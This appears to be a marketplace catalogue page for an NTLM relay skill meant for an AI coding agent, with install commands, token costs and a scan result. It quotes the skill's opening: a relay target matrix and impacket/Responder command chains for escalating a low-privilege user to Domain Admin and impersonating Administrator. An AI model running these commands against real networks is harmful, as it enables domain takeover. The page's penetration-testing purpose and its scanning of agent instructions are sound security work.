ntlm-relay

ntlm-relay is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 84 tokens per session (1,441 once invoked), scanned B, a copy of ad-ntlm-relay, Apache-2.0.

A guide to NTLM relay, an attack technique that forwards Windows login attempts to another service instead of guessing the password. It covers choosing targets such as file sharing, directory services, certificate enrollment, databases, and mail systems.

In plain words
What is it for?
Use it to plan authorized tests involving NTLM authentication, relay targets, signing requirements, session forwarding, and the trade-off between relaying and offline password cracking.
Why use it?
It helps security testers understand which relayed logins may produce access and which protections, such as SMB signing, prevent them.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to plan authorized tests involving NTLM authentication, relay targets, signing requirements, session forwarding, and the trade-off between relaying and offline password cracking.

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Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/ntlm-relay
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill ntlm-relay
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

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Per session 84 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,441 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 98% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00084 $0.01441
Opus 5 $0.00042 $0.00720
Sonnet 5 $0.00017 $0.00288
Haiku 4.5 $0.00008 $0.00144

Measured 11d ago against content hash 988112476a5f, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

ntlm-relay scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
Origin

This is a copy

98% identical to ad-ntlm-relay — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/ad/ntlm-relay/SKILL.md · 122 lines

How it starts

The opening of the file, as written. The whole thing — 122 lines — stays where its author put it; the contents beside it link to each section on GitHub.

NTLM Relay Deep Dive

You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.

Target selection matrix

Target protocol Outcome Requires
LDAP / LDAPS to a DC Add user to Domain Admins, RBCD, modify ACL Victim is local admin OR LDAPS allows signing
SMB to a workstation Code exec on that workstation SMB signing OFF on target (servers often have it ON)
HTTP /certsrv/ (ADCS) Cert for victim — auth as them ADCS Web Enrollment enabled
MSSQL Database access; xp_cmdshell if linked Victim has DB privs
IMAP (Exchange) Mailbox access Victim has mailbox
HTTP /EWS (Exchange) Mailbox + autodiscover EWS reachable
LDAPS to DC for shadow creds Set msDS-KeyCredentialLink on a victim LDAPS + WriteProperty

SMB signing — the key constraint

Target Default SMB signing
DC REQUIRED (signing on, must verify) — can't relay SMB to DC
Domain workstations NOT REQUIRED (off by default) — can relay
File servers usually REQUIRED
Linux Samba varies

Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.

Most useful chains

Coerce → relay to LDAP → RBCD attack

# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover

Coerce → relay to ADCS → DA cert

See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.

Responder → relay to LDAP for Shadow Credentials

sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy

Read the full file on GitHub · 122 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 122 lines · 84 tokens per session scan B 988112476a5f

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ntlm-relay is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 84 tokens to every session and 1,441 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). It is 98% identical to ad-ntlm-relay, differing in 2 lines, and is treated as a copy.